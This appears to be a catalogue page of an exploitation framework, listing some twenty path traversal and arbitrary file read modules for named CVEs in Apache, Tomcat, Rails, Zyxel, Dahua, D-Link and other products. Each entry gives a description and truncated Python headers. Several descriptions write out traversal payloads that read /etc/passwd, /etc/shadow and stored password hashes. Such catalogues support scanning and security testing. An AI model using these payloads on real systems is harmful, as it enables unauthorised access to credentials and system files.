Zikula - jcss.php Path Traversal Detection (CVE-2016-9835)

Detects CVE-2016-9835 by requesting jcss.php?f=......\jcss.php and matching ERROR: Corrupted file without Requested file not readable. !/usr/bin/env python3 -- coding: utf-8 -- """Zikula jcss.php directory traversal CVE-2016-9835.""" from kittysploit import from lib.protocols.http.httpclient...

CasaOS - Arbitrary File Read via users/image (CVE-2024-24765)

CasaOS-UserService 0.4.7 insufficiently filters the path parameter of /v1/users/image, allowing unauthenticated arbitrary file read e.g. user.db /etc/passwd — CVE-2024-24765. !/usr/bin/env python3 -- coding: utf-8 -- """CasaOS-UserService arbitrary file read via /v1/users/image CVE-2024-24765."""...

Buffalo LinkStation - Arbitrary File Read (CVE-2025-26167)

Buffalo LinkStation exposes /rpc/cat/?inter=1 without authentication, allowing unauthenticated arbitrary file reads password hashes, configs, etc.. !/usr/bin/env python3 -- coding: utf-8 -- """Buffalo LinkStation unauthenticated arbitrary file read via /rpc/cat/ CVE-2025-26167.""" import re from...

Apache Tomcat AJP - Ghostcat Detection (CVE-2020-1938)

Detects CVE-2020-1938 Ghostcat by sending a crafted AJP13 FORWARDREQUEST that includes /WEB-INF/web.xml via javax.servlet.include.servletpath. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Tomcat AJP Ghostcat file read / include CVE-2020-1938.""" import socket import struct from kittysploit...

AWStats - Config Path Traversal Detection (CVE-2017-1000501)

Detects CVE-2017-1000501 by requesting awstats.pl?config=../../../../../etc/passwd and matching AWStats syntax-error markers that include the traversed path. !/usr/bin/env python3 -- coding: utf-8 -- """AWStats config path traversal CVE-2017-1000501.""" from kittysploit import from...

HiSilicon uc-httpd - Path Traversal Detection

Detects HiSilicon ASIC firmware path traversal by requesting ../../etc/passwd on uc-httpd servers. !/usr/bin/env python3 -- coding: utf-8 -- """HiSilicon uc-httpd path traversal file read.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanne...

Apache HTTP Server - Path Traversal File Read (CVE-2021-41773/42013)

Reads arbitrary files via CVE-2021-41773 / CVE-2021-42013 encoded path traversal under cgi-bin/icons aliases. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server path-traversal arbitrary file read CVE-2021-41773 / CVE-2021-42013.""" from kittysploit import from...

BlueDragon - cfchart Path Traversal Detection (CVE-2014-5370)

Detects CVE-2014-5370 by requesting /cfchart.cfchart?../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """BlueDragon CFChart servlet path traversal CVE-2014-5370.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient...

ManageEngine SDP - FILENAME Traversal Detection (CVE-2011-2757)

Detects CVE-2011-2757 via FileDownload.jsp?module=agent&FILENAME=../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-2757 via FileDownload.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: inf...

WedgeOS - ssgimages LFI Detection

Detects WedgeOS = 4.0.4 LFI by requesting /ssgmanager/ssgimages?name=../../../../../etc/shadow. !/usr/bin/env python3 -- coding: utf-8 -- """WedgeOS ssgimages local file inclusion.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

HiSilicon Encoder - Path Traversal File Read (CVE-2020-24219)

Reads arbitrary files via HiSilicon encoder path /../../sys/devices/media/13070000.jpgd//. !/usr/bin/env python3 -- coding: utf-8 -- """HiSilicon encoder arbitrary file read CVE-2020-24219.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi...

Ruby on Rails - Accept Header File Read (CVE-2019-5418)

Reads arbitrary files via CVE-2019-5418 Accept-header path traversal ../../../../file. !/usr/bin/env python3 -- coding: utf-8 -- """Rails Accept-header arbitrary file read CVE-2019-5418.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi...

Zyxel Device - Export_Log File Read (CVE-2023-28770)

Reads arbitrary files via /ExportLog?/ on vulnerable Zyxel devices CVE-2023-28770. Does not open a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel ExportLog unauthenticated file read CVE-2023-28770.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Adobe ColdFusion - locale File Read (CVE-2010-2861)

Reads arbitrary files via CVE-2010-2861 locale parameter POST to CFIDE administrator pages. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via CVE-2010-2861 locale parameter POST to CFIDE administrator pages.""" from kittysploit import from lib.protocols.http.httpclient import...

hybris Commerce - medias context File Read (CVE-2014-8871)

Reads arbitrary files via CVE-2014-8871 base64 context parameter on /medias/. !/usr/bin/env python3 -- coding: utf-8 -- """hybris Commerce medias context file read CVE-2014-8871.""" import base64 from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Icinga Web 2 - static/img Path Traversal Detection (CVE-2020-24368)

Detects CVE-2020-24368 by reading /etc/passwd via /static/img?modulename=&file=../../../../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Icinga Web 2 static/img module path traversal CVE-2020-24368.""" import re from kittysploit import from lib.protocols.http.httpclient import...

D-Link DWR - /uir Path Traversal Detection (CVE-2017-6190)

Detects CVE-2017-6190 by requesting /uir/../../../../../../etc/passwd ../ traversal after /uir/, distinct from CVE-2018-10822 // style. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DWR /uir path traversal CVE-2017-6190.""" import re from kittysploit import from lib.protocols.http.httpclien...

Huawei HG659 - /lib/ Path Traversal File Read

Reads arbitrary files from Huawei HG659 via GET /lib/....//....//. !/usr/bin/env python3 -- coding: utf-8 -- """Huawei HG659 /lib/ arbitrary file read.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class ModuleAuxiliary,...

Dahua Devices - Path Traversal Account Dump (CVE-2024-13130)

Exploits path traversal to ../mtd/Config/Sha1Account1 or Account1 on Dahua and OEM devices, leaking SerialID and Password hashes. !/usr/bin/env python3 -- coding: utf-8 -- """Dahua/OEM path traversal to account config CVE-2024-13130.""" from kittysploit import from lib.protocols.http.httpclient...

D-Link DAP-2020 - webproc File Read Detection (CVE-2021-27250)

Detects CVE-2021-27250 by POSTing to /cgi-bin/webproc with errorpage=/etc/passwd and looking for passwd contents in the response. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DAP-2020 webproc errorpage path traversal CVE-2021-27250.""" import re from kittysploit import from...